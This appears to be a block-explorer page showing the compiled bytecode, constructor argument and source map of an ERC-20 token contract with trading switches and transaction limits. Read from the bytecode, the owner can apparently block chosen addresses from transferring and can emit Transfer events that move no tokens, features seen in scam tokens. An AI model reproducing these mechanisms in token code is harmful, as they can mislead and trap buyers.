613a876020830187613998565b8181036040830152613a998186613a07565b9050613aa86060830185612a8c565b613ab56080830184612913565b969550505050505056fea264697066735822122065f8b5add13eb2bad2abd19a80ed51742f07adbcf51bd18aff0f34325dac528464736f6c63430008150033000000000000000000000000382a8c11b65ee3501d2a320deb0f6a178150d692

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106102535760003560e01c80638d3e6e4011610146578063bbc0c742116100c3578063dd62ed3e11610087578063dd62ed3e146106f0578063e884f26014610720578063f1f50a021461072a578063f2fde38b14610734578063f852b42d14610750578063f8b45b051461076c57610253565b8063bbc0c7421461065e578063c2b7bbb61461067c578063c647b20e14610698578063c78d0fa0146106b4578063cc1776d3146106d257610253565b80639e93ad8e1161010a5780639e93ad8e146105a6578063a457c2d7146105c4578063a9059cbb146105f4578063ab5a188714610624578063b2c25bce1461064057610253565b80638d3e6e40146104ee5780638da5cb5b1461051e5780638ed6795e1461053c57806391b296951461055857806395d89b411461058857610253565b80634a62bb65116101d45780636162c92e116101985780636162c92e1461047057806370945d5f1461047a57806370a0823114610498578063715018a6146104c857806373fa7ddb146104d257610253565b80634a62bb65146103ca5780634f7041a5146103e8578063540dd452146104065780635d0044ca146104365780635d58ce361461045257610253565b806326ededb81161021b57806326ededb814610312578063313ce5671461032e578063395093511461034c578063452ed4f11461037c57806346d6258f1461039a57610253565b806306fdde03146102585780630758d92414610276578063095ea7b31461029457806318160ddd146102c457806323b872dd146102e2575b600080fd5b61026061078a565b60405161026d9190612763565b60405180910390f35b61027e61081c565b60405161028b9190612804565b60405180910390f35b6102ae60048036038101906102a9919061289d565b610840565b6040516102bb91906128f8565b60405180910390f35b6102cc610863565b6040516102d99190612922565b60405180910390f35b6102fc60048036038101906102f7919061293d565b61086d565b60405161030991906128f8565b60405180910390f35b61032c600480360381019061032791906129f5565b61089c565b005b610336610979565b6040516103439190612a71565b60405180910390f35b6103666004803603810190610361919061289d565b610982565b60405161037391906128f8565b60405180910390f35b6103846109b9565b6040516103919190612a9b565b60405180910390f35b6103b460048036038101906103af9190612ab6565b6109df565b6040516103c191906128f8565b60405180910390f35b6103d2610a35565b6040516103df91906128f8565b60405180910390f35b6103f0610a48565b6040516103fd9190612922565b60405180910390f35b610420600480360381019061041b9190612ab6565b610a4e565b60405161042d91906128f8565b60405180910390f35b610450600480360381019061044b9190612ae3565b610a6e565b005b61045a610b57565b6040516104679190612922565b60405180910390f35b610478610b5f565b005b610482610be7565b60405161048f9190612922565b60405180910390f35b6104b260048036038101906104ad9190612ab6565b610bed565b6040516104bf9190612922565b60405180910390f35b6104d0610c36565b005b6104ec60048036038101906104e79190612b3c565b610c4a565b005b61050860048036038101906105039190612ab6565b610cf7565b60405161051591906128f8565b60405180910390f35b610526610d17565b6040516105339190612a9b565b60405180910390f35b61055660048036038101906105519190612b9c565b610d40565b005b610572600480360381019061056d9190612ab6565b610e4b565b60405161057f91906128f8565b60405180910390f35b610590610e6b565b60405161059d9190612763565b60405180910390f35b6105ae610efd565b6040516105bb9190612922565b60405180910390f35b6105de60048036038101906105d9919061289d565b610f03565b6040516105eb91906128f8565b60405180910390f35b61060e6004803603810190610609919061289d565b610f7a565b60405161061b91906128f8565b60405180910390f35b61063e60048036038101906106399190612ae3565b610f9d565b005b610648611087565b60405161065591906128f8565b60405180910390f35b61066661109a565b60405161067391906128f8565b60405180910390f35b61069660048036038101906106919190612ab6565b6110ad565b005b6106b260048036038101906106ad9190612bdc565b6110f9565b005b6106bc611185565b6040516106c99190612922565b60405180910390f35b6106da61118b565b6040516106e79190612922565b60405180910390f35b61070a60048036038101906107059190612c1c565b611191565b6040516107179190612922565b60405180910390f35b610728611218565b005b61073261123d565b005b61074e60048036038101906107499190612ab6565b6112b2565b005b61076a60048036038101906107659190612b9c565b611335565b005b6107746114d6565b6040516107819190612922565b60405180910390f35b60606006805461079990612c8b565b80601f01602080910402602001604051908101604052809291908181526020018280546107c590612c8b565b80156108125780601f106107e757610100808354040283529160200191610812565b820191906000526020600020905b8154815290600101906020018083116107f557829003601f168201915b5050505050905090565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b60008061084b6114dc565b90506108588185856114e4565b600191505092915050565b6000600554905090565b6000806108786114dc565b90506108858582856116ad565b610890858585611739565b60019150509392505050565b6108a461189f565b60005b83839050811015610973578383828181106108c5576108c4612cbc565b5b90506020020160208101906108da9190612ab6565b73ffffffffffffffffffffffffffffffffffffffff16601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516109589190612922565b60405180910390a3808061096b90612d1a565b9150506108a7565b50505050565b60006009905090565b60008061098d6114dc565b90506109ae81858561099f8589611191565b6109a99190612d62565b6114e4565b600191505092915050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600960019054906101000a900460ff1681565b60115481565b600b6020528060005260406000206000915054906101000a900460ff1681565b610a7661189f565b610a7e610979565b600a610a8a9190612ec9565b60646001610a96610863565b610aa09190612f14565b610aaa9190612f85565b610ab49190612f85565b811015610af6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aed90613002565b60405180910390fd5b610afe610979565b600a610b0a9190612ec9565b81610b159190612f14565b6010819055507fde064515fae8f8bb6d8ff19d2c6ba704322def7494147d8a971266430ade0788601054604051610b4c9190612922565b60405180910390a150565b600047905090565b610b6761189f565b6000600960016101000a81548160ff0219169083151502179055506000600960006101000a81548160ff021916908315150217905550610ba5610863565b600f81905550610bb3610863565b6010819055507fa4ffae85e880608d5d4365c2b682786545d136145537788e7e0940dff9f0b98c60405160405180910390a1565b600f5481565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610c3e61189f565b610c48600061191d565b565b610c5261189f565b60005b83839050811015610cf1578160036000868685818110610c7857610c77612cbc565b5b9050602002016020810190610c8d9190612ab6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ce990612d1a565b915050610c55565b50505050565b600c6020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610d4861189f565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610db7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dae9061306e565b60405180910390fd5b80600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f998cce27cbf44405c67eb636a634d5e2f2e6ff248b3d71fbbbb022f3c4c6dd2d8282604051610e3f92919061308e565b60405180910390a15050565b600e6020528060005260406000206000915054906101000a900460ff1681565b606060078054610e7a90612c8b565b80601f0160208091040260200160405190810160405280929190818152602001828054610ea690612c8b565b8015610ef35780601f10610ec857610100808354040283529160200191610ef3565b820191906000526020600020905b815481529060010190602001808311610ed657829003601f168201915b5050505050905090565b61271081565b600080610f0e6114dc565b90506000610f1c8286611191565b905083811015610f61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5890613129565b60405180910390fd5b610f6e82868684036114e4565b60019250505092915050565b600080610f856114dc565b9050610f92818585611739565b600191505092915050565b610fa561189f565b610fad610979565b600a610fb99190612ec9565b6103e86005610fc6610863565b610fd09190612f14565b610fda9190612f85565b610fe49190612f85565b811015611026576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101d90613195565b60405180910390fd5b61102e610979565b600a61103a9190612ec9565b816110459190612f14565b600f819055507fbd5d3777a4ca05c2475cf0dd89d6a70173f775d8b42722c19d597cd7c870c4c7600f5460405161107c9190612922565b60405180910390a150565b600960009054906101000a900460ff1681565b600d60009054906101000a900460ff1681565b6110b561189f565b80601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61110161189f565b816011819055507f5380a61520019ce8270d583f62f1b2b9f4f4372e1acaaf708f4865cecece05086011546040516111399190612922565b60405180910390a1806012819055507fa02824f65350567bc405e202b741e7ca6274004a9feeb44149df72b8bd599c976012546040516111799190612922565b60405180910390a15050565b600a5481565b60125481565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61122061189f565b6000600960006101000a81548160ff021916908315150217905550565b61124561189f565b600d60009054906101000a900460ff1615611295576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128c90613201565b60405180910390fd5b6001600d60006101000a81548160ff021916908315150217905550565b6112ba61189f565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611329576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132090613293565b60405180910390fd5b6113328161191d565b50565b61133d61189f565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036113ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a39061306e565b60405180910390fd5b8061144257601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611441576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611438906132ff565b60405180910390fd5b5b80600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f8f9f40630a1d139e6cf69b4f447ca47a36f10a017524efaa38252e516fa227ce82826040516114ca92919061308e565b60405180910390a15050565b60105481565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611553576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154a90613391565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036115c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115b990613423565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116a09190612922565b60405180910390a3505050565b60006116b98484611191565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146117335781811015611725576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171c9061348f565b60405180910390fd5b61173284848484036114e4565b5b50505050565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806117da5750600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806117f15750600960029054906101000a900460ff165b15611806576118018383836119e1565b61189a565b600d60009054906101000a900460ff16611855576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161184c906134fb565b60405180910390fd5b611860838383611c5a565b8161186b919061351b565b9050600960019054906101000a900460ff161561188e5761188d838383611e40565b5b6118998383836119e1565b5b505050565b6118a76114dc565b73ffffffffffffffffffffffffffffffffffffffff166118c56122b4565b73ffffffffffffffffffffffffffffffffffffffff161461191b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119129061359b565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611a50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a479061362d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611abf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ab6906136bf565b60405180910390fd5b611aca8383836122c8565b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611b51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b4890613751565b60405180910390fd5b818103600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611c419190612922565b60405180910390a3611c5484848461232d565b50505050565b6000600a54611c6830610bed565b10158015611c835750600960029054906101000a900460ff16155b8015611cd95750600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611d1d576001600960026101000a81548160ff021916908315150217905550611d01612332565b6000600960026101000a81548160ff0219169083151502179055505b6000600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611d7a57506000601254115b15611da15761271060125484611d909190612f14565b611d9a9190612f85565b9050611e20565b600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611dfc57506000601154115b15611e1f5761271060115484611e129190612f14565b611e1c9190612f85565b90505b5b6000811115611e3557611e348530836119e1565b5b809150509392505050565b600960009054906101000a900460ff1615611fc7577f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015611efb5750600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611fc65743600860003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611f81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f78906137bd565b60405180910390fd5b43600860003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561206a5750600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561211157600f548111156120b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120ab90613829565b60405180910390fd5b6010546120c083610bed565b826120cb9190612d62565b111561210c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161210390613895565b60405180910390fd5b6122af565b600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156121b45750600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561220357600f548111156121fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121f590613829565b60405180910390fd5b6122ae565b600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166122ad5760105461226083610bed565b8261226b9190612d62565b11156122ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122a390613895565b60405180910390fd5b5b5b5b505050565b6000806122bf61241d565b90508091505090565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612328576000811461232757600080fd5b5b505050565b505050565b600061233d30610bed565b90506000810361234d575061241b565b6028600a5461235c9190612f14565b811115612375576028600a546123729190612f14565b90505b61237e816124c1565b6000471115612419576000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16476040516123cf906138e6565b60006040518083038185875af1925050503d806000811461240c576040519150601f19603f3d011682016040523d82523d6000602084013e612411565b606091505b505080915050505b505b565b60008073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146124985760008054906101000a900473ffffffffffffffffffffffffffffffffffffffff166124bc565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b6000600267ffffffffffffffff8111156124de576124dd6138fb565b5b60405190808252806020026020018201604052801561250c5781602001602082028036833780820191505090505b509050308160008151811061252457612523612cbc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156125c9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125ed919061393f565b8160018151811061260157612600612cbc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161269d959493929190613a65565b600060405180830381600087803b1580156126b757600080fd5b505af11580156126cb573d6000803e3d6000fd5b505050505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561270d5780820151818401526020810190506126f2565b60008484015250505050565b6000601f19601f8301169050919050565b6000612735826126d3565b61273f81856126de565b935061274f8185602086016126ef565b61275881612719565b840191505092915050565b6000602082019050818103600083015261277d818461272a565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60006127ca6127c56127c084612785565b6127a5565b612785565b9050919050565b60006127dc826127af565b9050919050565b60006127ee826127d1565b9050919050565b6127fe816127e3565b82525050565b600060208201905061281960008301846127f5565b92915050565b600080fd5b600080fd5b600061283482612785565b9050919050565b61284481612829565b811461284f57600080fd5b50565b6000813590506128618161283b565b92915050565b6000819050919050565b61287a81612867565b811461288557600080fd5b50565b60008135905061289781612871565b92915050565b600080604083850312156128b4576128b361281f565b5b60006128c285828601612852565b92505060206128d385828601612888565b9150509250929050565b60008115159050919050565b6128f2816128dd565b82525050565b600060208201905061290d60008301846128e9565b92915050565b61291c81612867565b82525050565b60006020820190506129376000830184612913565b92915050565b6000806000606084860312156129565761295561281f565b5b600061296486828701612852565b935050602061297586828701612852565b925050604061298686828701612888565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f8401126129b5576129b4612990565b5b8235905067ffffffffffffffff8111156129d2576129d1612995565b5b6020830191508360208202830111156129ee576129ed61299a565b5b9250929050565b600080600060408486031215612a0e57612a0d61281f565b5b600084013567ffffffffffffffff811115612a2c57612a2b612824565b5b612a388682870161299f565b93509350506020612a4b86828701612888565b9150509250925092565b600060ff82169050919050565b612a6b81612a55565b82525050565b6000602082019050612a866000830184612a62565b92915050565b612a9581612829565b82525050565b6000602082019050612ab06000830184612a8c565b92915050565b600060208284031215612acc57612acb61281f565b5b6000612ada84828501612852565b91505092915050565b600060208284031215612af957612af861281f565b5b6000612b0784828501612888565b91505092915050565b612b19816128dd565b8114612b2457600080fd5b50565b600081359050612b3681612b10565b92915050565b600080600060408486031215612b5557612b5461281f565b5b600084013567ffffffffffffffff811115612b7357612b72612824565b5b612b7f8682870161299f565b93509350506020612b9286828701612b27565b9150509250925092565b60008060408385031215612bb357612bb261281f565b5b6000612bc185828601612852565b9250506020612bd285828601612b27565b9150509250929050565b60008060408385031215612bf357612bf261281f565b5b6000612c0185828601612888565b9250506020612c1285828601612888565b9150509250929050565b60008060408385031215612c3357612c3261281f565b5b6000612c4185828601612852565b9250506020612c5285828601612852565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612ca357607f821691505b602082108103612cb657612cb5612c5c565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612d2582612867565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612d5757612d56612ceb565b5b600182019050919050565b6000612d6d82612867565b9150612d7883612867565b9250828201905080821115612d9057612d8f612ceb565b5b92915050565b60008160011c9050919050565b6000808291508390505b6001851115612ded57808604811115612dc957612dc8612ceb565b5b6001851615612dd85780820291505b8081029050612de685612d96565b9450612dad565b94509492505050565b600082612e065760019050612ec2565b81612e145760009050612ec2565b8160018114612e2a5760028114612e3457612e63565b6001915050612ec2565b60ff841115612e4657612e45612ceb565b5b8360020a915084821115612e5d57612e5c612ceb565b5b50612ec2565b5060208310610133831016604e8410600b8410161715612e985782820a905083811115612e9357612e92612ceb565b5b612ec2565b612ea58484846001612da3565b92509050818404811115612ebc57612ebb612ceb565b5b81810290505b9392505050565b6000612ed482612867565b9150612edf83612a55565b9250612f0c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612df6565b905092915050565b6000612f1f82612867565b9150612f2a83612867565b9250828202612f3881612867565b91508282048414831517612f4f57612f4e612ceb565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612f9082612867565b9150612f9b83612867565b925082612fab57612faa612f56565b5b828204905092915050565b7f4d757374206265203e3d20312500000000000000000000000000000000000000600082015250565b6000612fec600d836126de565b9150612ff782612fb6565b602082019050919050565b6000602082019050818103600083015261301b81612fdf565b9050919050565b7f5a65726f20416464726573730000000000000000000000000000000000000000600082015250565b6000613058600c836126de565b915061306382613022565b602082019050919050565b600060208201905081810360008301526130878161304b565b9050919050565b60006040820190506130a36000830185612a8c565b6130b060208301846128e9565b9392505050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006131136025836126de565b915061311e826130b7565b604082019050919050565b6000602082019050818103600083015261314281613106565b9050919050565b7f4d757374206265203e3d20302e35250000000000000000000000000000000000600082015250565b600061317f600f836126de565b915061318a82613149565b602082019050919050565b600060208201905081810360008301526131ae81613172565b9050919050565b7f54726164696e6720616374697665000000000000000000000000000000000000600082015250565b60006131eb600e836126de565b91506131f6826131b5565b602082019050919050565b6000602082019050818103600083015261321a816131de565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061327d6026836126de565b915061328882613221565b604082019050919050565b600060208201905081810360008301526132ac81613270565b9050919050565b7f5061697200000000000000000000000000000000000000000000000000000000600082015250565b60006132e96004836126de565b91506132f4826132b3565b602082019050919050565b60006020820190508181036000830152613318816132dc565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061337b6024836126de565b91506133868261331f565b604082019050919050565b600060208201905081810360008301526133aa8161336e565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061340d6022836126de565b9150613418826133b1565b604082019050919050565b6000602082019050818103600083015261343c81613400565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000613479601d836126de565b915061348482613443565b602082019050919050565b600060208201905081810360008301526134a88161346c565b9050919050565b7f54726164696e67206e6f74206163746976650000000000000000000000000000600082015250565b60006134e56012836126de565b91506134f0826134af565b602082019050919050565b60006020820190508181036000830152613514816134d8565b9050919050565b600061352682612867565b915061353183612867565b925082820390508181111561354957613548612ceb565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006135856020836126de565b91506135908261354f565b602082019050919050565b600060208201905081810360008301526135b481613578565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006136176025836126de565b9150613622826135bb565b604082019050919050565b600060208201905081810360008301526136468161360a565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006136a96023836126de565b91506136b48261364d565b604082019050919050565b600060208201905081810360008301526136d88161369c565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b600061373b6026836126de565b9150613746826136df565b604082019050919050565b6000602082019050818103600083015261376a8161372e565b9050919050565b7f5472616e736665722044656c617920656e61626c65642e000000000000000000600082015250565b60006137a76017836126de565b91506137b282613771565b602082019050919050565b600060208201905081810360008301526137d68161379a565b9050919050565b7f4d61782074782065786365656465642e00000000000000000000000000000000600082015250565b60006138136010836126de565b915061381e826137dd565b602082019050919050565b6000602082019050818103600083015261384281613806565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b600061387f6013836126de565b915061388a82613849565b602082019050919050565b600060208201905081810360008301526138ae81613872565b9050919050565b600081905092915050565b50565b60006138d06000836138b5565b91506138db826138c0565b600082019050919050565b60006138f1826138c3565b9150819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000815190506139398161283b565b92915050565b6000602082840312156139555761395461281f565b5b60006139638482850161392a565b91505092915050565b6000819050919050565b600061399161398c6139878461396c565b6127a5565b612867565b9050919050565b6139a181613976565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6139dc81612829565b82525050565b60006139ee83836139d3565b60208301905092915050565b6000602082019050919050565b6000613a12826139a7565b613a1c81856139b2565b9350613a27836139c3565b8060005b83811015613a58578151613a3f88826139e2565b9750613a4a836139fa565b925050600181019050613a2b565b5085935050505092915050565b600060a082019050613a7a6000830188612913565b613a876020830187613998565b8181036040830152613a998186613a07565b9050613aa86060830185612a8c565b613ab56080830184612913565b969550505050505056fea264697066735822122065f8b5add13eb2bad2abd19a80ed51742f07adbcf51bd18aff0f34325dac528464736f6c63430008150033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000382a8c11b65ee3501d2a320deb0f6a178150d692

-----Decoded View---------------
Arg [0] : dev_ (address): 0x382a8c11b65Ee3501D2a320Deb0F6A178150d692

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000382a8c11b65ee3501d2a320deb0f6a178150d692


Deployed Bytecode Sourcemap

535:7850:3:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;859:100:0;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1267:37:3;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3337:201:0;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2106:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4118:261;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8189:193:3;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1949:92:0;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4788:238;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1239:21:3;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7437:163;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;748:33;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1180:21;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;920:48;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3657:271;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;967:109:0;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4302:235:3;;;:::i;:::-;;1117:23;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2277:127:0;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1039:103:2;;;:::i;:::-;;6098:227:3;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;975:49;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;809:87:2;;;:::i;:::-;;;;;;;